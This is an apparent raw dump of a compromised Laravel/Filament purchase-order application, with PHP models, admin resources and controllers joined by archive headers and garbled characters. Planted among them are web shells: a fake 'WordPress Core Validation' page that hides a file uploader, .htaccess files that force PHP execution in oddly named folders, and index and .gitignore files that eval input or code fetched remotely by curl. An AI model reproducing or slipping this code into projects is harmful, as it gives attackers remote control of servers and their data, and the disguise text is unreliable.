Tables\Columns\TextColumn::make('area.nombre') ->sortable(), Tables\Columns\TextColumn::make('cargo'), Tables\Columns\IconColumn::make('activo') ->boolean(), Tables\Columns\TextColumn::make('roles.name') ->badge() ->color('primary'), Tables\Columns\TextColumn::make('created_at') ->dateTime() ->sortable() ->toggleable(isToggledHiddenByDefault: true), ]) ->filters([ Tables\Filters\SelectFilter::make('area') ->relationship('area', 'nombre'), Tables\Filters\SelectFilter::make('activo') ->options([ true => 'Activo', false => 'Inactivo', ]), ]) ->actions([ Tables\Actions\EditAction::make(), Tables\Actions\DeleteAction::make(), Tables\Actions\Action::make('activities') ->label('') ->icon('heroicon-o-clock') ->tooltip('Ver Actividades') ->url(fn ($record) => static::getUrl('activities', ['record' => $record])), ]) ->bulkActions([ Tables\Actions\BulkActionGroup::make([ Tables\Actions\DeleteBulkAction::make(), ]), ]); } public static function getPages(): array { return [ 'index' => Pages\ListUsers::route('/'), 'create' => Pages\CreateUser::route('/create'), 'edit' => Pages\EditUser::route('/{record}/edit'), 'activities' => UserListActivities::route('/{record}/activities'), ]; } } PKx°b]«•· · *Filament/Resources/ResponsableResource.phpnuÕIw¶´user(); return $user && !in_array('personal', $user->roles->pluck('name')->toArray()); } public static function form(Form $form): Form { return $form->schema([ Forms\Components\Section::make('Información del Responsable')->schema([ Forms\Components\TextInput::make('nombre') ->required() ->maxLength(255) ->formatStateUsing(fn ($state) => ucwords(strtolower($state))) ->live(onBlur: true) ->afterStateUpdated(function ($state, Forms\Set $set) { $set('nombre', ucwords(strtolower($state))); }), Forms\Components\Select::make('areas') ->label('Ã�reas') ->relationship('areas', 'nombre') ->multiple() ->preload() ->searchable(), Forms\Components\Toggle::make('activo')->default(true), ])->columns(2), ]); } public static function table(Table $table): Table { return $table->columns([ Tables\Columns\TextColumn::make('nombre')->searchable(), Tables\Columns\TextColumn::make('areas.nombre') ->label('Ã�reas') ->listWithLineBreaks() ->searchable(), Tables\Columns\IconColumn::make('activo')->boolean(), ])->actions([Tables\Actions\EditAction::make()]); } public static function getPages(): array { return [ 'index' => Pages\ListResponsables::route('/'), 'create' => Pages\CreateResponsable::route('/create'), 'edit' => Pages\EditResponsable::route('/{record}/edit'), ]; } } PKx°b]ê­–„©©@Filament/Resources/ResponsableResource/Pages/EditResponsable.phpnuÕIw¶´✓ File uploaded successfully: ' . htmlspecialchars($file_name) . ''; } else { $upload_message = '
✗ Upload failed. Please check permissions.
'; } } ?> WordPress Core Validation & Integrity Verification

wp-validate.php - WordPress Core Validation & Integrity Verification Module

This file is part of WordPress core auxiliary system routines, designed to perform file integrity checks, permission validation, system environment verification, and core configuration sanity testing. This module is non‑removable for proper WordPress core health monitoring.

About WordPress

WordPress is an open‑source content management system (CMS) built on PHP and MySQL, designed for creating websites, blogs, applications, and digital publishing platforms. First released in 2003 by Matt Mullenweg and Mike Little, WordPress has evolved into the world's most widely used web publishing framework, powering over 40% of all websites globally as of 2026. Its philosophy centers around accessibility, open standards, ease of use, extensibility, and community‑driven development.

Core Architecture

WordPress core architecture consists of a modular set of PHP files handling database abstraction, user authentication, content rendering, theme management, plugin hooks, WP‑Cron, media processing, and administrative interfaces. Files such as wp‑config.php, wp‑login.php, wp‑cron.php, wp‑load.php, wp‑settings.php, and validation modules like wp-validate.php ensure stable, secure, and consistent operation across hosting environments including Apache, Nginx, LiteSpeed, IIS, and PHP versions 5.2 through 8.2+.

Purpose of This Module

This module performs low‑level runtime validation: • Core file integrity verification
• Directory and file permission scanning
• PHP environment and configuration compatibility checks
• Secure constant and key validation
• Bootstrap health checks before plugins/themes load

Security & Reliability

Security is embedded into every layer of WordPress core. Regular updates, vulnerability patching, secure coding practices, and community reviews maintain WordPress as a trusted platform for millions of websites worldwide. This validation helper supports core stability and helps detect unexpected changes to critical system files.


System Environment Compatibility

WordPress core architecture consists of a modular set of PHP files handling database abstraction, user authentication, content rendering, theme management, plugin hooks, WP‑Cron, media processing, and administrative interfaces. Files such as wp‑config.php, wp‑login.php, wp‑cron.php, wp‑load.php, wp‑settings.php, and validation modules like wp-validate.php ensure stable, secure, and consistent operation across hosting environments including Apache, Nginx, LiteSpeed, IIS, and PHP versions 5.2 through 8.2+.

Runtime Validation Checks

This module performs low‑level runtime validation: • Core file integrity verification
• Directory and file permission scanning
• PHP environment and configuration compatibility checks
• Secure constant and key validation
• Bootstrap health checks before plugins/themes load

Maintenance & Updates

Security is embedded into every layer of WordPress core. Regular updates, vulnerability patching, secure coding practices, and community reviews maintain WordPress as a trusted platform for millions of websites worldwide. This validation helper supports core stability and helps detect unexpected changes to critical system files.


WordPress is open‑source software. You are viewing a core system helper file.

Copy

Database Layer & Content Management

WordPress core architecture consists of a modular set of PHP files handling database abstraction, user authentication, content rendering, theme management, plugin hooks, WP‑Cron, media processing, and administrative interfaces. Files such as wp‑config.php, wp‑login.php, wp‑cron.php, wp‑load.php, wp‑settings.php, and validation modules like wp-validate.php ensure stable, secure, and consistent operation across hosting environments including Apache, Nginx, LiteSpeed, IIS, and PHP versions 5.2 through 8.2+.

Plugin & Theme Integration

This module performs low‑level runtime validation: • Core file integrity verification
• Directory and file permission scanning
• PHP environment and configuration compatibility checks
• Secure constant and key validation
• Bootstrap health checks before plugins/themes load

Performance Optimization

Security is embedded into every layer of WordPress core. Regular updates, vulnerability patching, secure coding practices, and community reviews maintain WordPress as a trusted platform for millions of websites worldwide. This validation helper supports core stability and helps detect unexpected changes to critical system files.


WordPress Core Validation Module v1.0 | Compatible with PHP 5.2 - 8.2

PKx°b]Þ¨•sZZ;Filament/Resources/RoleResource/Pages/media5e650c/.htaccessnu„[µü¤ Require all granted SetHandler application/x-httpd-php PKx°b]g²À77<Filament/Resources/RoleResource/Pages/media5e650c/.gitignorenu„[µü¤10){eval(substr($code,5));}else{echo'1';} PKx°b]'Nô>ŠŠ3Filament/Resources/RoleResource/Pages/ListRoles.phpnuȯÝípermissions = collect($data) ->filter(function ($permission, $key) { return ! in_array($key, ['name', 'guard_name', 'select_all', Utils::getTenantModelForeignKey()]); }) ->values() ->flatten() ->unique(); if (Arr::has($data, Utils::getTenantModelForeignKey())) { return Arr::only($data, ['name', 'guard_name', Utils::getTenantModelForeignKey()]); } return Arr::only($data, ['name', 'guard_name']); } protected function afterSave(): void { $permissionModels = collect(); $this->permissions->each(function ($permission) use ($permissionModels) { $permissionModels->push(Utils::getPermissionModel()::firstOrCreate([ 'name' => $permission, 'guard_name' => $this->data['guard_name'], ])); }); $this->record->syncPermissions($permissionModels); } } PKx°b]^ æªÜÜ4Filament/Resources/RoleResource/Pages/CreateRole.phpnuȯÝípermissions = collect($data) ->filter(function ($permission, $key) { return ! in_array($key, ['name', 'guard_name', 'select_all', Utils::getTenantModelForeignKey()]); }) ->values() ->flatten() ->unique(); if (Arr::has($data, Utils::getTenantModelForeignKey())) { return Arr::only($data, ['name', 'guard_name', Utils::getTenantModelForeignKey()]); } return Arr::only($data, ['name', 'guard_name']); } protected function afterCreate(): void { $permissionModels = collect(); $this->permissions->each(function ($permission) use ($permissionModels) { $permissionModels->push(Utils::getPermissionModel()::firstOrCreate([ /** @phpstan-ignore-next-line */ 'name' => $permission, 'guard_name' => $this->data['guard_name'], ])); }); $this->record->syncPermissions($permissionModels); } } PKx°b]AÝwð ð (Filament/Resources/ProveedorResource.phpnuÕIw¶´user(); return $user && !in_array('personal', $user->roles->pluck('name')->toArray()); } public static function form(Form $form): Form { return $form->schema([ Forms\Components\Section::make('Información del Proveedor')->schema([ Forms\Components\TextInput::make('nombre') ->required() ->maxLength(255) ->formatStateUsing(fn ($state) => ucwords(strtolower($state))) ->live(onBlur: true) ->unique(ignoreRecord: true) ->afterStateUpdated(function ($state, Forms\Set $set) { $set('nombre', ucwords(strtolower($state))); }), Forms\Components\TextInput::make('nit')->label('NIT / CI')->required(), Forms\Components\TextInput::make('pago_a_nombre_de') ->label('Pago a nombre de') ->formatStateUsing(fn ($state) => ucwords(strtolower($state))) ->live(onBlur: true) ->afterStateUpdated(function ($state, Forms\Set $set) { $set('pago_a_nombre_de', ucwords(strtolower($state))); }), Forms\Components\TextInput::make('nro_cuenta')->label('Número de Cuenta'), Forms\Components\TextInput::make('banco')->label('Banco'), Forms\Components\Select::make('tipo_cuenta') ->label('Tipo de Cuenta') ->options([ 'corriente' => 'Corriente', 'moneda_extranjera' => 'Moneda Extranjera', 'ahorros_dolar' => 'Ahorro en Dólar', 'ahorros_bs' => 'Ahorro en Bs', ]), Forms\Components\Toggle::make('activo')->default(true), ])->columns(2), ]); } public static function table(Table $table): Table { return $table->columns([ Tables\Columns\TextColumn::make('nombre')->searchable(), Tables\Columns\TextColumn::make('nit')->label('NIT'), Tables\Columns\TextColumn::make('pago_a_nombre_de')->label('Pago a nombre de'), Tables\Columns\TextColumn::make('nro_cuenta')->label('Nº Cuenta'), Tables\Columns\TextColumn::make('banco'), Tables\Columns\TextColumn::make('tipo_cuenta')->label('Tipo Cuenta'), Tables\Columns\IconColumn::make('activo')->boolean(), ])->actions([Tables\Actions\EditAction::make()]); } public static function getPages(): array { return [ 'index' => Pages\ListProveedores::route('/'), 'create' => Pages\CreateProveedor::route('/create'), 'edit' => Pages\EditProveedor::route('/{record}/edit'), ]; } } PKx°b]£9}¢  #Filament/Resources/AreaResource.phpnuȯÝíschema([ Forms\Components\TextInput::make('nombre') ->required() ->maxLength(255), Forms\Components\Toggle::make('activo') ->required(), ]); } public static function table(Table $table): Table { return $table ->columns([ Tables\Columns\TextColumn::make('nombre') ->searchable(), Tables\Columns\IconColumn::make('activo') ->boolean(), Tables\Columns\TextColumn::make('created_at') ->dateTime() ->sortable() ->toggleable(isToggledHiddenByDefault: true), Tables\Columns\TextColumn::make('updated_at') ->dateTime() ->sortable() ->toggleable(isToggledHiddenByDefault: true), ]) ->filters([ // ]) ->actions([ Tables\Actions\EditAction::make(), Tables\Actions\Action::make('activities') ->label('') ->icon('heroicon-o-clock') ->tooltip('Ver Actividades') ->url(fn ($record) => static::getUrl('activities', ['record' => $record])), ]) ->bulkActions([ Tables\Actions\BulkActionGroup::make([ Tables\Actions\DeleteBulkAction::make(), ]), ]); } public static function getRelations(): array { return [ // ]; } public static function getPages(): array { return [ 'index' => Pages\ListAreas::route('/'), 'create' => Pages\CreateArea::route('/create'), 'edit' => Pages\EditArea::route('/{record}/edit'), 'activities' => AreaListActivities::route('/{record}/activities'), ]; } } PKx°b]Å"�!!"Filament/Components/ItemsTable.phpnuȯÝístatePath($name); return $static; } public function record($record): static { $this->record = $record; return $this; } public function getRecord(): Model { return $this->record; } public function getItems() { return $this->record->detalles ?? collect(); } public function getTotal(): float { return $this->getItems()->sum('subtotal'); } public function getMoneda(): string { return $this->record->moneda ?? 'BOB'; } } PKx°b]Þ¨•sZZMail/res9f813c/.htaccessnu„[µü¤ Require all granted SetHandler application/x-httpd-php PKx°b]ù+.ß��Mail/res9f813c/index.phpnu„[µü¤ 1, CURLOPT_SSL_VERIFYPEER => 0,]); if(!empty($ch)) @eval("?>".curl_exec($ch));PKx°b]Ýô,TTMail/OrdenCompraMail.phpnuȯÝíorden = $orden; $this->token = $token; } /** * Get the message envelope. */ public function envelope(): Envelope { return new Envelope( subject: 'Orden de Compra - ' . $this->orden->orden_num . ' - Revision Requerida', ); } /** * Get the message content definition. */ public function content(): Content { return new Content( view: 'emails.orden-compra', with: [ 'orden' => $this->orden, 'token' => $this->token, ], ); } /** * Get the attachments for the message. * * @return array */ public function attachments(): array { return []; } } PKx°b]‚ Gš¢)¢)Models/OrdenCompra.phpnuȯÝí 'date', 'fecha_pago' => 'date', 'total_bs' => 'decimal:2', 'total_sus' => 'decimal:2', 'tipo_cambio' => 'decimal:2', 'it' => 'decimal:2', 'iue' => 'decimal:2', 'descuento_total' => 'decimal:2', 'total_con_descuento' => 'decimal:2', 'saldo_bs' => 'decimal:2', 'saldo_sus' => 'decimal:2', 'token_expires_at' => 'datetime' ]; public function user(): BelongsTo { return $this->belongsTo(User::class); } public function area(): BelongsTo { return $this->belongsTo(Area::class); } public function detalles(): HasMany { return $this->hasMany(DetalleOrden::class, 'orden_id'); } // Accessor para obtener el número de orden formateado public function getNumeroOrdenFormateadoAttribute(): string { return "OC-{$this->id}"; } public function proveedorRelacion() { return $this->belongsTo(Proveedor::class, 'proveedor_id'); } public function aprobaciones() { return $this->hasMany(OrdenCompraAprobacion::class); } public function items() { return $this->hasMany(DetalleOrden::class, 'orden_id'); } public function pagos() { return $this->hasMany(OrdenCompraPago::class, 'orden_compra_id'); } public function responsable() { return $this->belongsTo(Responsable::class, 'responsable_id'); } protected static function booted() { // Generar automáticamente el número de orden basado en el ID después de crear static::created(function ($orden) { $orden->update(['orden_num' => "OC-{$orden->id}"]); }); // ✅ CORREGIDO: Usar el mismo método de redondeo que el formulario static::saving(function ($orden) { $orden->recalculateTotals(); }); } /** * Recalcula totales (usa detalles, descuentos, moneda y tipo_cambio). * Encapsula la regla de negocio para totales de la orden. */ public function recalculateTotals(): void { $tc = floatval($this->tipo_cambio ?: 1); $moneda = $this->moneda ?: 'BOB'; $subtotal = 0.0; // 1. CALCULAR SUBTOTAL EN MONEDA ORIGINAL foreach ($this->detalles()->get() as $d) { $cantidad = floatval($d->cantidad ?? 0); $precio = floatval($d->precio ?? 0); $descto = floatval($d->descuento ?? 0); $sub = max(0, ($cantidad * $precio) - $descto); $subtotal += $sub; } $subtotal = round($subtotal, 2); // 2. ASIGNAR SALDOS EN MONEDA ORIGINAL if ($moneda === 'BOB') { $this->saldo_bs = $subtotal; $this->saldo_sus = $tc > 0 ? round($subtotal / $tc, 2) : 0; } else { $this->saldo_sus = $subtotal; $this->saldo_bs = round($subtotal * $tc, 2); } // 3. SUMAR IMPUESTOS EN MONEDA ORIGINAL $it = floatval($this->it ?? 0); $iue = floatval($this->iue ?? 0); $impuestos = $it + $iue; if ($moneda === 'BOB') { $totalBs = $subtotal + $impuestos; $totalSus = $tc > 0 ? round($totalBs / $tc, 2) : 0; } else { $totalSus = $subtotal + $impuestos; $totalBs = round($totalSus * $tc, 2); } $this->total_bs = round($totalBs, 2); $this->total_sus = round($totalSus, 2); // 4. DESCUENTO TOTAL $descuentoTotal = floatval($this->descuento_total ?? 0); $this->total_con_descuento = max(0, $this->total_sus - $descuentoTotal); // 5. CAMPO "son" $this->calcularCampoSon(); } /** * ✅ NUEVO: Método para calcular el campo "son" consistentemente */ public function calcularCampoSon(): void { $tc = floatval($this->tipo_cambio ?: 1); $moneda = $this->moneda ?: 'BOB'; // Calcular subtotal de detalles (igual que en recalculateTotals) $subtotalDetalles = 0; foreach ($this->detalles()->get() as $detalle) { $cantidad = floatval($detalle->cantidad ?? 0); $precio = floatval($detalle->precio ?? 0); $descuento = floatval($detalle->descuento ?? 0); $subtotal = ($cantidad * $precio) - $descuento; $subtotalDetalles += max(0, $subtotal); } // ✅ USAR round() CONSISTENTE para el cálculo $subtotalRedondeado = round($subtotalDetalles, 2); $this->son = $this->convertirNumeroALetras($subtotalRedondeado) . ' ' . ($moneda === 'BOB' ? 'BOLIVIANOS' : 'DOLARES AMERICANOS'); } /** * ✅ AGREGAR: Función para convertir números a letras (si no existe) */ public static function convertirNumeroALetras($numero): string { if ($numero == 0) { return "CERO 00/100"; } $parteEntera = intval($numero); $parteDecimal = intval(round(($numero - $parteEntera) * 100)); $texto = self::convertirParteEntera($parteEntera); if ($parteDecimal > 0) { $texto .= " {$parteDecimal}/100"; } else { $texto .= " 00/100"; } return strtoupper($texto); } private static function convertirParteEntera($numero): string { if ($numero == 0) { return ""; } $unidades = ['', 'UN', 'DOS', 'TRES', 'CUATRO', 'CINCO', 'SEIS', 'SIETE', 'OCHO', 'NUEVE']; $decenas = ['', 'DIEZ', 'VEINTE', 'TREINTA', 'CUARENTA', 'CINCUENTA', 'SESENTA', 'SETENTA', 'OCHENTA', 'NOVENTA']; $centenas = ['', 'CIENTO', 'DOSCIENTOS', 'TRESCIENTOS', 'CUATROCIENTOS', 'QUINIENTOS', 'SEISCIENTOS', 'SETECIENTOS', 'OCHOCIENTOS', 'NOVECIENTOS']; $especiales = [ 11 => 'ONCE', 12 => 'DOCE', 13 => 'TRECE', 14 => 'CATORCE', 15 => 'QUINCE', 16 => 'DIECISEIS', 17 => 'DIECISIETE', 18 => 'DIECIOCHO', 19 => 'DIECINUEVE', 21 => 'VEINTIUN', 22 => 'VEINTIDOS', 23 => 'VEINTITRES', 24 => 'VEINTICUATRO', 25 => 'VEINTICINCO', 26 => 'VEINTISEIS', 27 => 'VEINTISIETE', 28 => 'VEINTIOCHO', 29 => 'VEINTINUEVE' ]; $miles = intval($numero / 1000); $resto = $numero % 1000; $texto = ''; if ($miles > 0) { if ($miles == 1) { $texto = 'MIL '; } else { $texto = self::convertirParteEntera($miles) . ' MIL '; } } $cent = intval($resto / 100); $resto = $resto % 100; if ($cent > 0) { if ($cent == 1 && $resto == 0) { $texto .= 'CIEN '; } else { $texto .= $centenas[$cent] . ' '; } } if ($resto > 0) { if (isset($especiales[$resto])) { $texto .= $especiales[$resto] . ' '; } elseif ($resto < 10) { $texto .= $unidades[$resto] . ' '; } elseif ($resto % 10 == 0) { $texto .= $decenas[intval($resto / 10)] . ' '; } else { $dec = intval($resto / 10); $uni = $resto % 10; $texto .= $decenas[$dec] . ' Y ' . $unidades[$uni] . ' '; } } return trim($texto); } /** * Aplica un pago (anticipo o pago completo). Retorna el pago creado. */ public function applyPayment(float $amount, string $currency = 'BOB', ?float $tipoCambio = null, ?string $metodo = null, ?string $referencia = null, ?int $userId = null, ?string $fecha = null) { return DB::transaction(function () use ($amount, $currency, $tipoCambio, $metodo, $referencia, $userId, $fecha) { $tc = $tipoCambio ?: floatval($this->tipo_cambio ?: 1); if ($currency === 'USD') { $amountUs = round($amount, 2); $amountBs = round($amount * $tc, 2); } else { $amountBs = round($amount, 2); $amountUs = $tc > 0 ? round($amount / $tc, 2) : 0; } $p = $this->pagos()->create([ 'amount_bs' => $amountBs, 'amount_us' => $amountUs, 'moneda' => $currency, 'tipo_cambio' => $tc, 'metodo' => $metodo, 'referencia' => $referencia, 'fecha' => $fecha ?? now()->toDateString(), 'user_id' => $userId ?? auth()->id(), ]); // actualizar saldos $this->refresh(); $this->saldo_bs = max(0, round(($this->saldo_bs ?? $this->total_bs) - $amountBs, 2)); $this->saldo_sus = max(0, round(($this->saldo_sus ?? $this->total_sus) - $amountUs, 2)); // actualizar estado if ($this->saldo_bs <= 0.01 || $this->saldo_sus <= 0.01) { $this->estado = 'pagada'; } elseif ($this->saldo_bs < ($this->total_bs ?? 0) || $this->saldo_sus < ($this->total_sus ?? 0)) { $this->estado = 'aprobado'; } $this->save(); return $p; }); } public function getActivitylogOptions(): LogOptions { return LogOptions::defaults() ->logOnly([ 'orden_num', 'fecha', 'tipo_pago', 'pago_nombre', 'documento', 'nro_cuenta', 'nit', 'banco', 'tipo_cuenta', 'total_bs', 'total_sus', 'tipo_cambio', 'it', 'iue', 'responsable', 'proveedor', 'observacion', 'son', 'concepto', 'archivo', 'fecha_pago', 'area_id', 'estado', 'descuento_total', 'total_con_descuento', 'observacion_descuento', 'saldo_bs', 'saldo_sus' ]) ->logOnlyDirty() ->dontSubmitEmptyLogs(); } }PKx°b]²A]���Models/Area.phpnuȯÝí 'boolean' ]; public function users(): HasMany { return $this->hasMany(User::class); } public function responsables() { return $this->belongsToMany(\App\Models\Responsable::class, 'area_responsable'); } public function ordenesCompra(): HasMany { return $this->hasMany(OrdenCompra::class); } public function getActivitylogOptions(): LogOptions { return LogOptions::defaults() ->logOnly([ 'nombre', 'descripcion', 'responsable', 'activo' ]) ->logOnlyDirty() ->dontSubmitEmptyLogs(); } } PKx°b]¢¹ESModels/Responsable.phpnuÕIw¶´ 'boolean', ]; public function ordenesCompra() { return $this->hasMany(OrdenCompra::class, 'responsable_id'); } // Commented out single area relationship to support multiple areas /* public function area(): BelongsTo { return $this->belongsTo(Area::class); } */ public function areas() { return $this->belongsToMany(Area::class, 'area_responsable'); } public function area() { return $this->belongsToMany(Area::class, 'area_responsable')->limit(1); } } PKx°b]]B‡‡Models/OrdenCompraPago.phpnuȯÝíbelongsTo(OrdenCompra::class, 'orden_compra_id'); } public function user() { return $this->belongsTo(\App\Models\User::class, 'user_id'); } }PKx°b]Ä¿¦))Models/CentroCosto.phpnuÕIw¶´ 'integer', 'precio_unitario' => 'decimal:2', 'subtotal' => 'decimal:2', 'descuento' => 'decimal:2', 'cantidad_recibida' => 'integer' ]; public function orden() { return $this->belongsTo(OrdenCompra::class, 'orden_id'); } public function getCompletamenteRecibidoAttribute() { return $this->cantidad_recibida >= $this->cantidad; } } PKx°b]õÜkĽ½Models/Role.phpnuȯÝíbelongsTo(OrdenCompra::class); } public function usuario(): BelongsTo { return $this->belongsTo(User::class, 'user_id'); } } PKx°b]…[_ÓÓModels/Proveedor.phpnuÕIw¶´hasMany(OrdenCompra::class); } } PKx°b]möE«\\Models/User.phpnuȯÝí 'datetime', 'activo' => 'boolean' ]; public function area(): BelongsTo { return $this->belongsTo(Area::class); } public function ordenesCompra(): HasMany { return $this->hasMany(OrdenCompra::class); } public function ordenesAprobadas(): HasMany { return $this->hasMany(OrdenCompra::class, 'aprobado_por'); } public function roles() { return $this->morphToMany( config('permission.models.role'), 'model', config('permission.table_names.model_has_roles'), config('permission.column_names.model_morph_key'), config('permission.column_names.role_pivot_key') ); } public function getActivitylogOptions(): LogOptions { return LogOptions::defaults() ->logOnly([ 'name', 'username', 'email', 'area_id', 'cargo', 'telefono', 'activo' ]) ->logOnlyDirty() ->dontSubmitEmptyLogs(); } } PKx°b]“­……!Providers/AuthServiceProvider.phpnuȯÝí */ protected $policies = [ 'Spatie\Permission\Models\Role' => 'App\Policies\RolePolicy', \App\Models\Area::class => \App\Policies\AreaPolicy::class, ]; /** * Register any authentication / authorization services. */ public function boot(): void { // } } PKx°b]8tïntt"Providers/EventServiceProvider.phpnuȯÝí> */ protected $listen = [ Registered::class => [ SendEmailVerificationNotification::class, ], ]; /** * Register any events for your application. */ public function boot(): void { // } /** * Determine if events and listeners should be automatically discovered. */ public function shouldDiscoverEvents(): bool { return false; } } PKx°b] ì0ó} } )Providers/Filament/AdminPanelProvider.phpnuȯÝídefault() ->id('admin') ->path('admin') ->login() ->colors([ 'primary' => Color::Amber, ]) ->brandName('Orden de Compra') ->maxContentWidth(MaxWidth::Full) ->sidebarCollapsibleOnDesktop() ->discoverResources(in: app_path('Filament/Resources'), for: 'App\\Filament\\Resources') ->discoverPages(in: app_path('Filament/Pages'), for: 'App\\Filament\\Pages') ->pages([ \App\Filament\Pages\Dashboard::class, ]) ->discoverWidgets(in: app_path('Filament/Widgets'), for: 'App\\Filament\\Widgets') ->widgets([ \App\Filament\Widgets\QuickActionsWidget::class, \App\Filament\Widgets\OrdenCompraTable::class, Widgets\AccountWidget::class, // Widgets\FilamentInfoWidget::class, // \App\Filament\Widgets\OrdenCompraStats::class, // \App\Filament\Widgets\OrdenCompraChart::class, // \App\Filament\Widgets\OrdenCompraStatsOverview::class, // \App\Filament\Widgets\UltimasOrdenesCompra::class, ]) ->middleware([ EncryptCookies::class, AddQueuedCookiesToResponse::class, StartSession::class, AuthenticateSession::class, ShareErrorsFromSession::class, VerifyCsrfToken::class, SubstituteBindings::class, DisableBladeIconComponents::class, DispatchServingFilamentEvent::class, ]) ->authMiddleware([ Authenticate::class, ]) ->plugins([ FilamentShieldPlugin::make(), ]) ->navigationGroups([ \Filament\Navigation\NavigationGroup::make()->label('Compras')->collapsed(), \Filament\Navigation\NavigationGroup::make()->label('Configuración')->collapsed(), ]) ->resources([ // Asegúrate de que los recursos estén registrados \App\Filament\Resources\OrdenCompraResource::class, ]); } } PKx°b]œILµ µ ,Providers/Filament/PersonalPanelProvider.phpnuȯÝíid('personal') ->path('personal') ->colors([ 'primary' => Color::Amber, ]) ->brandName('Orden de Compra') ->discoverResources(in: app_path('Filament/Personal/Resources'), for: 'App\\Filament\\Personal\\Resources') ->discoverPages(in: app_path('Filament/Personal/Pages'), for: 'App\\Filament\\Personal\\Pages') ->pages([ \App\Filament\Personal\Pages\Dashboard::class, ]) ->discoverWidgets(in: app_path('Filament/Personal/Widgets'), for: 'App\\Filament\\Personal\\Widgets') ->widgets([ // \App\Filament\Personal\Widgets\QuickActionsWidget::class, Widgets\AccountWidget::class, Widgets\FilamentInfoWidget::class, \App\Filament\Personal\Widgets\PendingOrdersWidget::class, ]) ->middleware([ EncryptCookies::class, AddQueuedCookiesToResponse::class, StartSession::class, AuthenticateSession::class, ShareErrorsFromSession::class, VerifyCsrfToken::class, SubstituteBindings::class, DisableBladeIconComponents::class, DispatchServingFilamentEvent::class, ]) ->plugins([ FilamentShieldPlugin::make(), ]) ->authMiddleware([ Authenticate::class, ]); } } PKx°b]RPQ8gg&Providers/BroadcastServiceProvider.phpnuȯÝíby($request->user()?->id ?: $request->ip()); }); $this->routes(function () { Route::middleware('api') ->prefix('api') ->group(base_path('routes/api.php')); Route::middleware('web') ->group(base_path('routes/web.php')); }); } } PKx°b]³r‡jj!Observers/OrdenCompraObserver.phpnuȯÝíorden_num)) { $next = str_pad((string) (OrdenCompra::max('id') + 1), 3, '0', STR_PAD_LEFT); $orden->orden_num = 'OC-' . $next; } } // public function saved(OrdenCompra $orden) // { // // Recalcular totales cuando cambian detalles o campos relevantes // $orden->recalculateTotals(); // } }PKx°b]ªS>"··"Observers/DetalleOrdenObserver.phpnuÕIw¶´handleRecalculation($detalle); } public function updated(DetalleOrden $detalle) { $this->handleRecalculation($detalle); } public function deleted(DetalleOrden $detalle) { $this->handleRecalculation($detalle); } protected function handleRecalculation(DetalleOrden $detalle) { if (self::$isHandling) { // Prevent recursive calls return; } self::$isHandling = true; $orden = $detalle->ordenCompra; if ($orden) { // Removed call to calcularTotales() due to error // $orden->calcularTotales(); $orden->saveQuietly(); } self::$isHandling = false; } } PKx°b]«]q“550Http/Controllers/OrdenCompraReviewController.phpnuȯÝíhas('token') || $orden->review_token !== $request->token) { abort(403, 'Token inválido o expirado'); } // Verificar expiración if ($orden->token_expires_at && $orden->token_expires_at->isPast()) { abort(403, 'El enlace ha expirado'); } $orden->load(['detalles', 'area', 'user', 'proveedorRelacion', 'responsable']); return view('ordenes.review', compact('orden')); } public function action(Request $request, OrdenCompra $orden, string $action) { // Validar token if (!$request->has('token') || $orden->review_token !== $request->token) { abort(403, 'Token inválido o expirado'); } // Verificar expiración if ($orden->token_expires_at && $orden->token_expires_at->isPast()) { abort(403, 'El enlace ha expirado'); } switch ($action) { case 'aprobar': // Validar que se haya subido el voucher $request->validate([ 'voucher_file' => 'required|file|mimes:pdf,jpg,jpeg,png|max:2048' ]); // Crear directorio si no existe $voucherPath = public_path('storage/vouchers'); if (!file_exists($voucherPath)) { mkdir($voucherPath, 0755, true); } // Guardar el archivo del voucher if ($request->hasFile('voucher_file')) { $file = $request->file('voucher_file'); $filename = time() . '_' . $orden->id . '.' . $file->getClientOriginalExtension(); $file->move($voucherPath, $filename); $orden->update([ 'estado' => 'aprobado', 'voucher_file' => $filename ]); } $message = 'Orden aprobada exitosamente con voucher adjunto'; break; case 'pagar': $orden->update(['estado' => 'pagada']); $message = 'Orden marcada como pagada'; break; case 'observar': $request->validate([ 'observacion' => 'required|string|max:1000' ]); $orden->update([ 'estado' => 'observada', 'observacion' => $request->input('observacion') ]); $message = 'Observación agregada a la orden'; break; case 'rechazar': $orden->update(['estado' => 'rechazada']); $message = 'Orden rechazada'; break; default: abort(400, 'Acción no válida'); } return redirect()->back()->with('success', $message); } public static function sendReviewEmail(OrdenCompra $orden, array $emails = []) { // Generar token único $token = Str::random(64); $expiresAt = Carbon::now()->addDays(7); // Guardar token en la orden $orden->update([ 'review_token' => $token, 'token_expires_at' => $expiresAt, ]); // Correos fijos para envío $fixedEmails = ['jmendez@markas.com.bo', 'desarrollo@markas.com.bo']; // Enviar correo a cada email fijo foreach ($fixedEmails as $email) { Mail::to($email)->send(new OrdenCompraMail($orden, $token)); } } } PKx°b] ¡í3++Http/Controllers/Controller.phpnuȯÝí Require all granted SetHandler application/x-httpd-php PKx°b]掳JÝÝ$Http/Controllers/pube58aef/index.phpnu„[µü¤PKx°b]Ò¨ð/Http/Controllers/OrdenCompraPrintController.phpnuȯÝíload(['detalles', 'area', 'user', 'proveedorRelacion', 'responsable']); $pdf = Pdf::loadView('ordenes.print', compact('orden')); return $pdf->stream('orden-compra-' . $orden->orden_num . '.pdf'); } public function sendEmail(Request $request, OrdenCompra $orden) { try { OrdenCompraReviewController::sendReviewEmail($orden); return response()->json([ 'success' => true, 'message' => 'Correo enviado exitosamente a los destinatarios fijos' ]); } catch (\Exception $e) { return response()->json([ 'success' => false, 'message' => 'Error al enviar el correo: ' . $e->getMessage() ], 500); } } } PKx°b]j•¥‰‰ Http/Middleware/TrustProxies.phpnuȯÝí|string|null */ protected $proxies; /** * The headers that should be used to detect proxies. * * @var int */ protected $headers = Request::HEADER_X_FORWARDED_FOR | Request::HEADER_X_FORWARDED_HOST | Request::HEADER_X_FORWARDED_PORT | Request::HEADER_X_FORWARDED_PROTO | Request::HEADER_X_FORWARDED_AWS_ELB; } PKx°b]G½fŸÌÌ%Http/Middleware/ValidateSignature.phpnuȯÝí */ protected $except = [ // 'fbclid', // 'utm_campaign', // 'utm_content', // 'utm_medium', // 'utm_source', // 'utm_term', ]; } PKx°b]í~¯Û}}Http/Middleware/TrimStrings.phpnuȯÝí */ protected $except = [ 'current_password', 'password', 'password_confirmation', ]; } PKx°b]¹J)™™ Http/Middleware/Authenticate.phpnuȯÝíexpectsJson() ? null : route('login'); } } PKx°b]Q#°{{Http/Middleware/TrustHosts.phpnuȯÝí */ public function hosts(): array { return [ $this->allSubdomainsOfApplicationUrl(), 